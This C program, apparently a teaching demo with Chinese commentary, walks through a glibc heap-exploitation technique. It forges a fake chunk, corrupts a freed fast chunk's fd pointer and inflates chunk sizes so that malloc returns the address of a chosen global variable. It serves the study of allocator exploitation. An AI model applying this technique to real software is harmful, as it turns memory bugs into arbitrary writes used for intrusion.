#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char target[20]="hello world";
uint64_t buf[20];
int main(){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
size_t* a;
uint8_t* b;
uint8_t* c;
char* d;
a=malloc(0xa00000);
printf("\033[1;33m第一步申请一个大堆块然后free,使system->mem提升:\033[0m\n");
printf("第一次申请a,a的地址:%p\n",a-2);
free(a);
a=malloc(0xa00000);
printf("\033[1;33m第二次继续申请一个大堆块,然后free,触发heap_grow:\033[0m\n");
printf("第二次申请a,a的地址:%p\n\n",a-2);
free(a);
printf("\033[1;33m此时申请一个fast chunk,一个small chunk为后续利用作铺垫:\033[0m\n");
a=malloc(0x10);
b=malloc(0x80);
printf("fast chunk a: %p\n",a-2);
printf("small chunk b: %p\n\n",b-0x10);
buf[0]=0xfffffffffffffff0;
buf[1]=0x0;
buf[2]=0;
buf[3]=0x21;
buf[4]=0;
buf[5]=0;
buf[6]=0;
buf[7]=1;
printf("\033[1;33m伪造一个fake chunk,并为绕过一些检测,在某些地方埋伏笔\033[0m\n");
printf("这是fake chunk--buf[2]的地址: %p\n",buf+2);
printf("这是目标target的地址: %p\n",target);
printf("\033[1;33m为了绕过检测而提前作的准备:\033[0m;\n");
printf("buf[2]-0x10: %#lx\n",buf[0]);
printf("buf[2]+0x28: %#lx\n",buf[7]);
printf("buf[2]的size: %#lx\n\n",buf[3]);
printf("\033[1;33m先free a,在通过修改a的fd,把buf[2]链入,随后free b触发:\033[0m\n");
free(a);
*a=(size_t)(&buf[2]);
free(b);
printf("\033[1;33m先修改buf 的size,使其可以被放入large bin中:\033[0m\n");
buf[3]=0xa00001;
b=malloc(0xa00000);
printf("buf[2]的size: %#lx\n\n",buf[3]);
printf("\033[1;33m把buf 的size 修改为很大,使得可以分配到我们的target:\033[0m\n");
buf[3]=0xfffffffffffffff1;
c=malloc(0xffffffffffffff80);
d=malloc(0x10);
printf("分配到的d:%p\n",d);
printf("target: %p\n",target);
return 0;
}